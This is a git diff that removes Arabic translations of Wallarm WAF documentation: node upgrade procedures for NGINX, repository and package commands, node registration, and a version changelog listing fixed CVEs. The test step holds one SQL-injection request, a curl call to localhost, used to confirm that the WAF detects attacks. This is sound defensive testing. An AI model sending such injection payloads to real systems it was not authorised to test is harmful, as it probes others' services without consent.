-### الخطوة 2: تثبيت NGINX والتبعيات - ---8<-- "../include/waf/installation/all-in-one-nginx.md" - -### الخطوة 3: تحضير الرمز الشريطي لـ Wallarm - ---8<-- "../include/waf/installation/all-in-one-token.md" - -### الخطوة 4: تنزيل المثبت الشامل لـ Wallarm - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -### الخطوة 5: تشغيل المثبت الشامل لـ Wallarm - -#### وحدة التصنيف (Filtering node) وpostanalytics على نفس الخادم - ---8<-- "../include/waf/installation/all-in-one-installer-run.md" - -#### وحدة التصنيف (Filtering node) وpostanalytics على خوادم مختلفة - -!!! warning "تسلسل الخطوات لترقية وحدات التصنيف وpostanalytics" - إذا تم تثبيت وحدات التصنيف وpostanalytics على خوادم مختلفة، فيجب عليك ترقية حزم postanalytics قبل تحديث حزم التصنيف. - -1. قم بترقية وحدة postanalytics باتباع هذه [الإرشادات](separate-postanalytics.md). -1. ترقية وحدة التصنيف (Filtering node): - - === "API token" - ```bash - # إذا كنت تستخدم الإصدار x86_64: - sudo env WALLARM_LABELS='group=<المجموعة>' sh wallarm-4.10.2.x86_64-glibc.sh filtering - - # إذا كنت تستخدم الإصدار ARM64: - sudo env WALLARM_LABELS='group=<المجموعة>' sh wallarm-4.10.2.aarch64-glibc.sh filtering - ``` - - تضبط النسق `WALLARM_LABELS` للمجموعة التي ستضاف إليها النود (تعتمد لتجميع النود منطقياً في واجهة المستخدم لـ Wallarm Console). - - === "Node التوكن" - ```bash - # إذا كنت تستخدم الإصدار x86_64: - sudo sh wallarm-4.10.2.x86_64-glibc.sh filtering - - # إذا كنت تستخدم الإصدار ARM64: - sudo sh wallarm-4.10.2.aarch64-glibc.sh filtering - ``` - -### الخطوة 6: نقل تكوين NGINX و postanalytics من محترف النود القديم إلى الجديد - -قم بنقل تكوين النود المتعلق بـ NGINX و postanalytics من الملفات التكوينية على الجهاز القديم إلى الملفات على الجهاز الجديد. يمكنك أن تفعل ذلك بنسخ التوجيهات المطلوبة. - -**ملفات المصدر** - -على الجهاز القديم، حسب نظام التشغيل وإصدار NGINX، قد تكون ملفات التكوين NGINX موجودة في دلائل مختلفة ولها أسماء مختلفة. الأكثر شيوعا هي: - -* `/etc/nginx/conf.d/default.conf` مع إعدادات NGINX -* `/etc/nginx/conf.d/wallarm-status.conf` مع إعدادات مراقبة نود Wallarm. الوصف التفصيلي متاح ضمن [الرابط][wallarm-status-instr] - -وعادةً ما يكون تكوين وحدة postanalytics (إعدادات قاعدة البيانات Tarantool) موجودًا هنا: - -* `/etc/default/wallarm-tarantool` أو -* `/etc/sysconfig/wallarm-tarantool` - -**ملفات الهدف** - -بما أن المثبت الشامل يعمل مع مجموعات مختلفة من نظام التشغيل و إصدارات NGINX، قد يكون على جهاز الجديد لديك [ملفات الهدف](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) لها أسماء مختلفة وتقع في دلائل مختلفة. - -### الخطوة 7: إعادة تشغيل NGINX - ---8<-- "../include/waf/installation/restart-nginx-systemctl.md" - -### الخطوة 8: اختبار تشغيل نود Wallarm - -لاختبار تشغيل النود الجديد: - -1. أرسل الطلب مع اختبار [SQLI][sqli-attack-docs] و [XSS][xss-attack-docs] هجمات إلى عنوان المورد المحمي: - - ``` - curl http://localhost/?id='or+1=1--a-' - ``` - -1. افتح واجهة Wallarm Console → قسم **الهجمات** في [السحابة الأمريكية](https://us1.my.wallarm.com/attacks) أو [السحابة الأوروبية](https://my.wallarm.com/attacks) وتأكد من أن الهجمات تظهر في القائمة. -1. بمجرد مزامنة بيانات السحابة المخزنة الخاصة بك (القواعد، قوائم IP) إلى النود الجديد، قم بإجراء بعض الهجمات الاختبارية للتأكد من أن قواعدك تعمل كما هو متوقع. - -### الخطوة 9: تكوين إرسال حركة المرور إلى نود Wallarm - -اعتمادًا على النهج الذي تم تنفيذه للتشغيل، قم بتنفيذ الإعدادات التالية: - -=== "انتشاء" - تحديث أهداف التوازن الخاصة بك لإرسال الحركة إلى عينة Wallarm. للتفاصيل، يرجى الرجوع إلى وثائق التوازن الخاصة بك. - - قبل إعادة توجيه الحركة بشكل كامل إلى النود الجديد، يوصى أولا بإعادة توجيهها جزئيا والتحقق من أن النود الجديد يتصرف وفقًا للتوقعات. - -=== "Out-of-Band" - قم بتكوين خادم الويب أو الخادم الوكيل (مثل NGINX، Envoy) لمرآة حركة المرور الواردة إلى نود Wallarm. قم بالرجوع إلى وثائق خادم الويب أو خادم الوكيل للحصول على تفاصيل التكوين. - - داخل [الرابط][web-server-mirroring-examples]، ستجد تكوين النموذج لأكثر خوادم الويب وأجهزة توجيه الوكيل شهرة (NGINX, Traefik, Envoy). - -### الخطوة 10: حذف النود القديم - -1. حذف النود القديم في Wallarm Console → **Nodes** بتحديد نود الخاص بك والنقر على **Delete**. -1. تأكيد الإجراء. - - عند حذف النود من السحابة، سوف يتوقف عن ترشيح الطلبات إلى التطبيقات الخاصة بك. لا يمكن التراجع عن حذف النود التصفية. سيتم حذف النود من قائمة النود نهائيًا. - -1. حذف الجهاز مع النود القديم أو فقط تنظيفه من مكونات نود Wallarm: - - === "ديبيان" - ```bash - sudo apt remove wallarm-node nginx-module-wallarm - ``` - === "أوبونتو" - ```bash - sudo apt remove wallarm-node nginx-module-wallarm - ``` - === "سنتْ أو أمازون لينكس 2.0.2021x وأقل" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` - === "روكي لينكس أو أوراكل لينكس 8.x" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` - === "RHEL 8.x" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` - -## الترقية اليدوية - -استخدم الإجراء أدناه لترقية وحدات Wallarm NGINX 4.x إلى الإصدار 4.8 يدويًا. - -!!! info "الدعم لـ 4.10" - لم يتم تحديث حزم الـ DEB/RPM لتثبيت النود اليدوي إلى الإطلاق 4.10 بعد - -### متطلبات الترقية اليدوية - ---8<-- "../include-ar/waf/installation/basic-reqs-for-upgrades.md" - -### إجراء الترقية - -* إذا تم تثبيت وحدات النود التصيفية و postanalytics على نفس الخادم، فاتبع الإرشادات أدناه لترقية الحزم الكل. -* إذا تم تثبيت وحدات النود التصيفية و postanalytics على خوادم مختلفة، **قم أولا** بترقية وحدة postanalytics باتباع هذه [الإرشادات](separate-postanalytics.md) ثم تنفيذ الخطوات أدناه لوحدات النود التصيفية. - -### الخطوة 1: ترقية NGINX إلى الإصدار الأخير - -ترقية NGINX إلى الإصدار الأخير باستخدام التعليمات ذات الصلة: - -=== "NGINX مستقر" - - التوزيعات القائمة على DEB: - - ```bash - sudo apt update - sudo apt -y install nginx - ``` - - التوزيعات القائمة على RPM: - - ```bash - sudo yum update - sudo yum install -y nginx - ``` -=== "NGINX Plus" -بالنسبة لـ NGINX Plus، يرجى اتباع [التعليمات الرسمية ](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-plus/#upgrading-nginx-plus). -=== "NGINX من المستودعاتDebian/CentOS" -بالنسبة لـ NGINX [مثبتة من مستودعات Debian/CentOS](../installation/nginx/dynamic-module-from-distr.md)، يرجى تخطي هذه الخطوة. سيتم ترقية الإصدار الحالي لـ NGINX [في وقت لاحق](#step-4-upgrade-wallarm-packages) جنبا إلى جنب مع وحدات Wallarm. - -إذا كانت بنيتك تحتاج إلى استخدام إصدار محدد من NGINX، يرجى الاتصال بـ [دعم فنيWallarm](mailto:support@wallarm.com) لبناء وحدة Wallarm لإصدار مخصص من NGINX. - -### الخطوة 2: أضف مستودع Wallarm الجديد - -حذف عنوان مستودع Wallarm السابق وأضف مستودعًا مع حزمة نسخة النود Wallarm الجديدة. يرجى استخدام الأوامر المناسبة للمنصة الخاصة بك - -**CentOS و Amazon Linux 2.0.2021x وأقل** - -=== "سنتْ OS 7 وأمازون لينكس 2.0.2021x وأقل" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "ألمالينكس، روكي لينكس أو أوراكل لينكس 8.x" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo yum remove wallarm-node-repo - sudo yum clean all - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -**ديبيان وأوبونتو** - -1. افتح الملف المحتوي على عنوان مستودع Wallarm في المحرر النصي المثبت. في هذه التعليمات، يتم استخدام **vim**. - - ```bash - sudo vim /etc/apt/sources.list.d/wallarm.list - ``` -2. اعتبرها غير فعالة أو حذف عنوان المستودع السابق. -3. أضف عنوان المستودع الجديد: - - === "ديبيان 10.x (Buster)" - !!! warning "غير مدعومة من قبل NGINX مستقر و NGINX Plus" - الإصدارات الرسمية لـ NGINX (مستقرة و Plus) و، على النتيجة، لا يمكن تثبيت النود الخاصة بـ Wallarm 4.4 وما فوق على ديبيان 10.x (Buster). يرجى استخدام هذا نظام التشغيل فقط إذا كان [NGINX يتم تثبيته من مستودعات Debian/CentOS](../installation/nginx/dynamic-module-from-distr.md). - - ```bash - deb https://repo.wallarm.com/debian/wallarm-node buster/4.8/ - ``` - === "ديبيان 11.x (bullseye)" - ```bash - deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/ - ``` - === "أوبونتو 18.04 LTS (bionic)" - ```bash - deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.8/ - ``` - === "أوبونتو 20.04 LTS (focal)" - ```bash - deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/ - ``` - -### الخطوة 3: ترقية حزم Wallarm - -#### وحدة التصنيف (Filtering node) وpostanalytics على نفس الخادم - -1. نفذ الأمر التالي لترقية وحدات وحدة التصنيف وpostanalytics: - - === "ديبيان" - ```bash - sudo apt update - sudo apt dist-upgrade - ``` - - --8<-- "../include/waf/upgrade/warning-expired-gpg-keys-4.8.md" - - --8<-- "../include/waf/upgrade/details-about-dist-upgrade.md" - === "أوبونتو" - ```bash - sudo apt update - sudo apt dist-upgrade - ``` - - --8<-- "../include/waf/upgrade/warning-expired-gpg-keys-4.8.md" - - --8<-- "../include/waf/upgrade/details-about-dist-upgrade.md" - === "سنتْ OS أو أمازون لينكس 2.0.2021x وأقل" - ```bash - sudo yum update - ``` - === "ألمالينكس، روكي لينكس أو أوراكل لينكس 8.x" - ```bash - sudo yum update - ``` - === "RHEL 8.x" - ```bash - sudo yum update - ``` - -2. إذا طلب مدير الحزم تأكيد لإعادة كتابة محتوى ملف التكوين `/etc/cron.d/wallarm-node-nginx`، أرسل الخيار `Y`. - - يجب تحديث محتوى `/etc/cron.d/wallarm-node-nginx` لتنزيل البرنامج النصي الجديد الذي يعد RPS. - - افتراضيًا، يستخدم مدير الحزم الخيار `N` ولكن هناك حاجة للخيار `Y` لحساب RPS بشكل صحيح. - -#### وحدة التصنيف (Filtering node) وpostanalytics على خوادم مختلفة - -!!! warning "تسلسل الخطوات لترقية وحدات التصنيف وpostanalytics" - إذا تم تثبيت وحدات التصنيف وpostanalytics على خوادم مختلفة، فيجب ترقية حزم postanalytics قبل تحديث حزم وحدة التصنيف. - -1. قم بترقية حزم postanalytics باتباع هذه [الإرشادات](separate-postanalytics.md). -2. قم بترقية حزم نود Wallarm: - - === "ديبيان" - ```bash - sudo apt update - sudo apt dist-upgrade - ``` - - --8<-- "../include/waf/upgrade/warning-expired-gpg-keys-4.8.md" - - --8<-- "../include/waf/upgrade/details-about-dist-upgrade.md" - === "أوبونتو" - ```bash - sudo apt update - sudo apt dist-upgrade - ``` - - --8<-- "../include/waf/upgrade/warning-expired-gpg-keys-4.8.md" - - --8<-- "../include/waf/upgrade/details-about-dist-upgrade.md" - === "سنتْ OS أو أمازون لينكس 2.0.2021x وأقل" - ```bash - sudo yum update - ``` - === "ألمالينكس، روكي لينكس أو أوراكل لينكس 8.x" - ```bash - sudo yum update - ``` - === "RHEL 8.x" - ```bash - sudo yum update - ``` -3. إذا طلب مدير الحزم تأكيد لإعادة كتابة محتوى ملف التكوين `/etc/cron.d/wallarm-node-nginx`، أرسل الخيار `Y`. - - يجب تحديث محتوى `/etc/cron.d/wallarm-node-nginx` لتنزيل البرنامج النصي الجديد الذي يعد RPS. - - افتراضيًا، يستخدم مدير الحزم الخيار `N` ولكن هناك حاجة للخيار `Y` لحساب RPS بشكل صحيح. - -### الخطوة 4: تحديث نوع النود - -!!! info "فقط للعقد المثبتة باستخدام النصي 'addnode'" - فقط قم باتباع هذه الخطوة إذا كانت نود الإصدار السابق متصلة بـ Wallarm Cloud باستخدام نصي 'addnode'. تم [إزالة](what-is-new.md#removal-of-the-email-password-based-node-registration) هذا النص واستبدل بـ 'register-node'، الذي يحتاج إلى رمز لتسجيل النود في السحابة. - -1. تأكد من أن حساب Wallarm الخاص بك لديه دور **المشرف** بالانتقال إلى قائمة المستخدمين في [السحابة الأمريكية](https://us1.my.wallarm.com/settings/users) أو [السحابة الأوروبية](https://my.wallarm.com/settings/users). - - ![قائمة المستخدمين في واجهة Wallarm console][img-wl-console-users] -1. افتح واجهة Wallarm Console → **Nodes** في [السحابة الأمريكية](https://us1.my.wallarm.com/nodes) أو [السحابة الأوروبية](https://my.wallarm.com/nodes) وأنشئ نود من النوع **Wallarm node**. - - ![إنشاء Wallarm node][img-create-wallarm-node] - - !!! info "إذا تم تثبيت وحدة postanalytics على خادم مستقل" - إذا تم تثبيت وحدات معالجة حركة المرور الأولية وpostanalytics على خوادم مستقلة، يوصى بتوصيل هذه الوحدات بـ Wallarm Cloud باستخدام نفس رمز النود. ستعرض واجهة المستخدم لـ Wallarm Console كل وحدة بوصفها نموذج نود مستقل، مثال على ذلك: - - ![Node مع عدة نماذج](../images/user-guides/nodes/wallarm-node-with-two-instances.png) - - تم إنشاء نود Wallarm بالفعل خلال [ترقية postanalytics module المنفصل](separate-postanalytics.md). لتوصيل وحدة معالجة حركة المرور الأولية بالسحابة باستخدام نفس بيانات التفويض الخاصة بالنود: - - 1. انسخ رمز النود المُولد خلال ترقية postanalytics module المنفصل. - 1. استمر في الخطوة الرابعة في القائمة أدناه. -1. انسخ الرمز المولد. -1. أوقف خدمة NGINX لتقليل خطر حساب RPS غير صحيح: - - === "ديبيان" - ```bash - sudo systemctl stop nginx - ``` - === "أوبونتو" - ```bash - sudo service nginx stop - ``` - === "سنتْ OS أو أمازون لينكس 2.0.2021x وأقل" - ```bash - sudo systemctl stop nginx - ``` - === "ألمالينكس، روكي لينكس أو أوراكل لينكس 8.x" - ```bash - sudo systemctl stop nginx - ``` - === "RHEL 8.x" - ```bash - sudo systemctl stop nginx - ``` -1. نفذ النصي `register-node` لتشغيل **Wallarm node**: - - === "السحابة الأمريكية" - ``` bash - sudo /usr/share/wallarm-common/register-node -t <الرمز المشفر> -H us1.api.wallarm.com --force - ``` - === "السحابة الأوروبية" - ``` bash - sudo /usr/share/wallarm-common/register-node -t <الرمز المشفر> --force - ``` - - * `<الرمز المشفر>` هو القيمة المنسوخة من الرمز الشريطي للنود أو رمز API بدور 'Deploy'. - * خيار `--force` يفرض إعادة كتابة بيانات الوصول إلى السحابة المحددة في الملف `/etc/wallarm/node.yaml`. - -### الخطوة 5: تحديث صفحة الحظر لـ Wallarm - -في النسخة الجديدة من النود، غيرت صفحة Wallarm sample blocking [تم تغييرها](what-is-new.md#new-blocking-page). الشعار ورسالة الدعم على الصفحة الآن فارغة بشكل افتراضي. - -إذا تم تكوين الصفحة `&/usr/share/nginx/html/wallarm_blocked.html` لتعود في الرد على الطلبات المحظورة، [انسخ وقم بتخصيص](../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) النسخة الجديدة من الصفحة العينة. - -### الخطوة 6: إعادة تشغيل NGINX - ---8<-- "../include/waf/restart-nginx-4.4-and-above.md" - -### الخطوة 7: اختبار تشغيل نود Wallarm - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -### تخصيص الإعدادات - -تم تحديث وحدات Wallarm إلى الإصدار 4.8. ستتم تطبيق إعدادات النود التصفية السابقة تلقائيًا على الإصدار الجديد. لإجراء إعدادات إضافية، استخدم [التوجيهات المتاحة](../admin-en/configure-parameters-en.md). - ---8<-- "../include/waf/installation/common-customization-options-nginx-4.4.md" diff --git a/docs/latest-ar/updating-migrating/node-artifact-versions.md b/docs/latest-ar/updating-migrating/node-artifact-versions.md deleted file mode 100644 index 7c9ac48960..0000000000 --- a/docs/latest-ar/updating-migrating/node-artifact-versions.md +++ /dev/null @@ -1,228 +0,0 @@ -# جرد إصدارات تجهيزة العقدة - -يسرد هذا المستند [إصدارات التصحيح](versioning-policy.md#version-format) المتاحة لعقدة Wallarm 4.10 في أشكال مختلفة. يمكنك تعقب إصدارات التصحيح الجديدة وتخطيط الترقيات في الوقت المناسب استنادًا إلى هذا المستند. - -## المثبت الشامل - -تاريخ التحديثات ينطبق بشكل متزامن على الإصدارات x86_64 وARM64 (نسخة تجريبية) من [المثبِت الشامل](../installation/nginx/all-in-one.md). - -[كيفية التحويل من حزم DEB/RPM](nginx-modules.md) - -[كيفية التحويل من الإصدار السابق للمثبت الشامل](all-in-one.md) - -### 4.10.3 (2024-03-18) - -* تم تقليل قيمة معامل `readahead` لـ Tarantool إلى 32KB - -### 4.10.2 (2024-03-08) - -* تحسينات داخلية لمزيد من الثبات والأمان، بما في ذلك تحسين المزامنة بين العقدة المُصفِّية وCloud Wallarm ، ضمان سلامة المستخدم `wallarm` بواجهة shell غير تفاعلية، وغيرها من التغييرات التي لا تؤثر على التدفق الاستخدامي. -* تم تحديث حزمة `appstructure` -* تم تحديث حزمة `api-firewall` -* تم تقليل قيمة معلمة `readahead` لـ Tarantool إلى 32KB -* تم إصلاح التالي من الثغرات الأمنية: - - * [CVE-2021-43809](https://nvd.nist.gov/vuln/detail/CVE-2021-43809) - * [CVE-2023-48795](https://nvd.nist.gov/vuln/detail/CVE-2023-48795) - -### 4.10.1 (2024-02-21) - -* تم إصلاح المشكلة التي تم فيها التحقق الخاطئ من أن ملفات قواعد مخصصة تم تنزيلها جزئيًا ككاملة. تم تنفيذ التنزيل المُتجزَّأ لمعالجة هذا الإصدار. -* تم إصلاح التالي من الثغرات الأمنية: - - * [CVE-2020-36327](https://nvd.nist.gov/vuln/detail/CVE-2020-36327) - * [CVE-2023-37920](https://nvd.nist.gov/vuln/detail/CVE-2023-37920) - * [CVE-2021-41816](https://nvd.nist.gov/vuln/detail/CVE-2021-41816) - * [CVE-2021-33621](https://nvd.nist.gov/vuln/detail/CVE-2021-33621) - * [CVE-2021-41819](https://nvd.nist.gov/vuln/detail/CVE-2021-41819) - * [CVE-2021-41817](https://nvd.nist.gov/vuln/detail/CVE-2021-41817) - * [CVE-2020-14343](https://nvd.nist.gov/vuln/detail/CVE-2020-14343) - * [CVE-2021-31799](https://nvd.nist.gov/vuln/detail/CVE-2021-31799) - * [CVE-2021-28965](https://nvd.nist.gov/vuln/detail/CVE-2021-28965) - * [CVE-2023-28755](https://nvd.nist.gov/vuln/detail/CVE-2023-28755) - * [CVE-2020-25613](https://nvd.nist.gov/vuln/detail/CVE-2020-25613) - -### 4.10.0 (2024-02-02) - -* الإصدار الأولي 4.10، [راجع سجل التغيير](what-is-new.md) - -## خريطة Helm لوحدة التحكم في وصول NGINX من Wallarm - -[كيفية الترقية](ingress-controller.md) - -### 4.10.3 (2024-03-08) - -* تحسينات داخلية لمزيد من الثبات والأمان، بما في ذلك تحسين المزامنة بين العقدة المُصفِّية وCloud Wallarm ، ضمان سلامة المستخدم `wallarm` بواجهة shell غير تفاعلية، وغيرها من التغييرات التي لا تؤثر على التدفق الاستخدامي. -* تم تحديث حزمة `appstructure` -* تم تحديث حزمة `api-firewall` -* تم إصلاح التالي من الثغرات الأمنية: - - * [CVE-2021-43809](https://nvd.nist.gov/vuln/detail/CVE-2021-43809) - * [CVE-2023-48795](https://nvd.nist.gov/vuln/detail/CVE-2023-48795) - -### 4.10.2 (2024-02-21) - -* استعادة OpenTracing - -### 4.10.1 (2024-02-21) - -* تم تحديث حزمة `appstructure` -* تحسينات وتحسينات داخلية: - - * تطبيق الملصقات والتعليقات التوضيحية لـ Tarantool pod - * التحول إلى supervisord -* تم إصلاح التالي من الثغرات الأمنية: - - * [CVE-2021-41816](https://nvd.nist.gov/vuln/detail/CVE-2021-41816) - * [CVE-2021-41819](https://nvd.nist.gov/vuln/detail/CVE-2021-41819) - * [CVE-2021-33621](https://nvd.nist.gov/vuln/detail/CVE-2021-33621) - * [CVE-2020-14343](https://nvd.nist.gov/vuln/detail/CVE-2020-14343) - * [CVE-2021-33503](https://nvd.nist.gov/vuln/detail/CVE-2021-33503) - * [CVE-2023-37920](https://nvd.nist.gov/vuln/detail/CVE-2023-37920) - * [CVE-2023-28755](https://nvd.nist.gov/vuln/detail/CVE-2023-28755) - * [CVE-2020-36327](https://nvd.nist.gov/vuln/detail/CVE-2020-36327) - * [CVE-2020-25613](https://nvd.nist.gov/vuln/detail/CVE-2020-25613) - * [CVE-2021-28965](https://nvd.nist.gov/vuln/detail/CVE-2021-28965) - * [CVE-2021-31799](https://nvd.nist.gov/vuln/detail/CVE-2021-31799) - * [CVE-2021-41817](https://nvd.nist.gov/vuln/detail/CVE-2021-41817) - -### 4.10.0 (2024-02-01) - -* الإصدار الأولي 4.10، [راجع سجل التغيير](what-is-new.md) - - -## خريطة Helm لحل Wallarm القائم على eBPF - -### 0.10.26 (2024-03-27) - -* تم تنفيذ التحقق من السلطة التحقق (CA) للمرور من وكيل eBPF إلى العقدة التجهيزية لـ Wallarm -* تمت إضافة دعم TLS المتبادل (mTLS)، مما يتيح للعقدة التجهيزية التحقق من أمان المرور من وكيل eBPF - - هذا تحت التحكم بواسطة القيمة [`config.mutualTLS`](../installation/oob/ebpf/helm-chart-for-wallarm.md#configmutualtls) في خريطة Helm، معطلة بشكل افتراضي. -* تحديث تبعيات الوكيل - -### 0.10.25 (2024-03-19) - -* تمت إضافة الدعم لـ [اكتشاف التحشيش في بيانات الاعتماد](../about-wallarm/credential-stuffing.md) -* ارتفعت القيمة الافتراضية لـ `SLAB_ALLOC_ARENA` إلى 2 جيجابايت -* تحسينات داخلية - -### 0.10.23 (2024-03-07) - -* إصلاح مشكلات مرايا http2 streams في بعض الحالات -* إصلاحات داخلية وتحسينات الاستقرار - -### 0.10.22 (2024-03-01) - -* [الإصدار الأول](../installation/oob/ebpf/deployment.md) - -## صورة Docker المستندة على NGINX - -[كيفية الترقية](docker-container.md) - -### 4.10.2-1 (2024-03-08) - -* تحسينات داخلية لمزيد من الثبات والأمان، بما في ذلك تحسين المزامنة بين العقدة المُصفِّية وCloud Wallarm ، ضمان سلامة المستخدم `wallarm` بواجهة shell غير تفاعلية، وغيرها من التغييرات التي لا تؤثر على التدفق الاستخدامي. -* تم تحديث حزمة `appstructure` -* تم تحديث حزمة `api-firewall` -* تم إصلاح التالي من الثغرات الأمنية: - - * [CVE-2021-43809](https://nvd.nist.gov/vuln/detail/CVE-2021-43809) - * [CVE-2023-48795](https://nvd.nist.gov/vuln/detail/CVE-2023-48795) - -### 4.10.1-1 (2024-02-21) - -* تم تحديث حزمة `appstructure` -* تم إصلاح التالي من الثغرات الأمنية: - - * [CVE-2021-43998](https://nvd.nist.gov/vuln/detail/CVE-2021-43998) - * [CVE-2021-38553](https://nvd.nist.gov/vuln/detail/CVE-2021-38553) - * [CVE-2023-5954](https://nvd.nist.gov/vuln/detail/CVE-2023-5954) - * [CVE-2023-5077](https://nvd.nist.gov/vuln/detail/CVE-2023-5077) - * [CVE-2023-24999](https://nvd.nist.gov/vuln/detail/CVE-2023-24999) - * [CVE-2021-32923](https://nvd.nist.gov/vuln/detail/CVE-2021-32923) - * [CVE-2021-3282](https://nvd.nist.gov/vuln/detail/CVE-2021-3282) - * [CVE-2021-41816](https://nvd.nist.gov/vuln/detail/CVE-2021-41816) - * [CVE-2021-41819](https://nvd.nist.gov/vuln/detail/CVE-2021-41819) - * [CVE-2021-33621](https://nvd.nist.gov/vuln/detail/CVE-2021-33621) - * [CVE-2020-14343](https://nvd.nist.gov/vuln/detail/CVE-2020-14343) - * [CVE-2021-33503](https://nvd.nist.gov/vuln/detail/CVE-2021-33503) - * [CVE-2022-3920](https://nvd.nist.gov/vuln/detail/CVE-2022-3920) - * [CVE-2023-39325](https://nvd.nist.gov/vuln/detail/CVE-2023-39325) - * [CVE-2023-37920](https://nvd.nist.gov/vuln/detail/CVE-2023-37920) - * [CVE-2023-45283](https://nvd.nist.gov/vuln/detail/CVE-2023-45283) - * [GHSA-m425-mq94-257g](https://github.com/advisories/GHSA-m425-mq94-257g) - -### 4.10.0-1 (2024-02-02) - -* الإصدار الأولي 4.10، بما في ذلك التحسينات وتعزيزات الأمان لصورة Docker. [راجع سجل التغيير](what-is-new.md) - -## صورة آلة أمازون (AMI) - -[كيفية الترقية](cloud-image.md) - -### 4.10.2-2 (2024-03-20) - -* تم تقليل قيمة معامل `readahead` لـ Tarantool إلى 32KB - -### 4.10.2-1 (2024-03-08) - -* تحسينات داخلية لمزيد من الثبات والأمان، بما في ذلك تحسين المزامنة بين العقدة المُصفِّية وCloud Wallarm ، ضمان سلامة المستخدم `wallarm` بواجهة shell غير تفاعلية، وغيرها من التغييرات التي لا تؤثر على التدفق الاستخدامي. -* تم تحديث حزمة `appstructure` -* تم تحديث حزمة `api-firewall` -* تم إصلاح التالي من الثغرات الأمنية: - - * [CVE-2021-43809](https://nvd.nist.gov/vuln/detail/CVE-2021-43809) - * [CVE-2023-48795](https://nvd.nist.gov/vuln/detail/CVE-2023-48795) - -### 4.10.1-2 (2024-02-21) - -* تم تحديث حزمة `appstructure` -* تم إصلاح التالي من الثغرات الأمنية: - - * [CVE-2020-14343](https://nvd.nist.gov/vuln/detail/CVE-2020-14343) - * [CVE-2023-4408](https://nvd.nist.gov/vuln/detail/CVE-2023-4408) - * [CVE-2023-50387](https://nvd.nist.gov/vuln/detail/CVE-2023-50387) - * [CVE-2023-50868](https://nvd.nist.gov/vuln/detail/CVE-2023-50868) - * [CVE-2023-5517](https://nvd.nist.gov/vuln/detail/CVE-2023-5517) - * [CVE-2023-5679](https://nvd.nist.gov/vuln/detail/CVE-2023-5679) - * [CVE-2024-0553](https://nvd.nist.gov/vuln/detail/CVE-2024-0553) - * [CVE-2024-0567](https://nvd.nist.gov/vuln/detail/CVE-2024-0567) - * [CVE-2023-37920](https://nvd.nist.gov/vuln/detail/CVE-2023-37920) - * [CVE-2021-33503](https://nvd.nist.gov/vuln/detail/CVE-2021-33503) - * [CVE-2020-36327](https://nvd.nist.gov/vuln/detail/CVE-2020-36327) - * [CVE-2021-31799](https://nvd.nist.gov/vuln/detail/CVE-2021-31799) - * [CVE-2021-28965](https://nvd.nist.gov/vuln/detail/CVE-2021-28965) - * [CVE-2020-25613](https://nvd.nist.gov/vuln/detail/CVE-2020-25613) - -### 4.10.0-1 (2024-02-02) - -* الإصدار الأولي 4.10، بما في ذلك التحسينات للصورة. [راجع سجل التغيير](what-is-new.md) - -## صورة منصة Google Cloud - -[كيفية الترقية](cloud-image.md) - -### wallarm-node-4-10-20240220-234618 - -* تم تحديث حزمة `appstructure` -* تم إصلاح التالي من الثغرات الأمنية: - - * [CVE-2020-14343](https://nvd.nist.gov/vuln/detail/CVE-2020-14343) - * [CVE-2023-4408](https://nvd.nist.gov/vuln/detail/CVE-2023-4408) - * [CVE-2023-50387](https://nvd.nist.gov/vuln/detail/CVE-2023-50387) - * [CVE-2023-50868](https://nvd.nist.gov/vuln/detail/CVE-2023-50868) - * [CVE-2023-5517](https://nvd.nist.gov/vuln/detail/CVE-2023-5517) - * [CVE-2023-5679](https://nvd.nist.gov/vuln/detail/CVE-2023-5679) - * [CVE-2024-0553](https://nvd.nist.gov/vuln/detail/CVE-2024-0553) - * [CVE-2024-0567](https://nvd.nist.gov/vuln/detail/CVE-2024-0567) - * [CVE-2023-37920](https://nvd.nist.gov/vuln/detail/CVE-2023-37920) - * [CVE-2021-33503](https://nvd.nist.gov/vuln/detail/CVE-2021-33503) - * [CVE-2020-36327](https://nvd.nist.gov/vuln/detail/CVE-2020-36327) - * [CVE-2021-31799](https://nvd.nist.gov/vuln/detail/CVE-2021-31799) - * [CVE-2021-28965](https://nvd.nist.gov/vuln/detail/CVE-2021-28965) - * [CVE-2020-25613](https://nvd.nist.gov/vuln/detail/CVE-2020-25613) - -### wallarm-node-4-10-20240126-175315 (2024-02-02) - -* الإصدار الأولي 4.10، بما في ذلك التحسينات للصورة. [راجع سجل التغيير](what-is-new.md) \ No newline at end of file diff --git a/docs/latest-ar/updating-migrating/older-versions/cloud-image.md b/docs/latest-ar/updating-migrating/older-versions/cloud-image.md deleted file mode 100644 index 30ade361ff..0000000000 --- a/docs/latest-ar/updating-migrating/older-versions/cloud-image.md +++ /dev/null @@ -1,134 +0,0 @@ -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[memory-instr]: ../../admin-en/configuration-guides/allocate-memory-for-waf-node.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[nginx-process-time-limit-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: 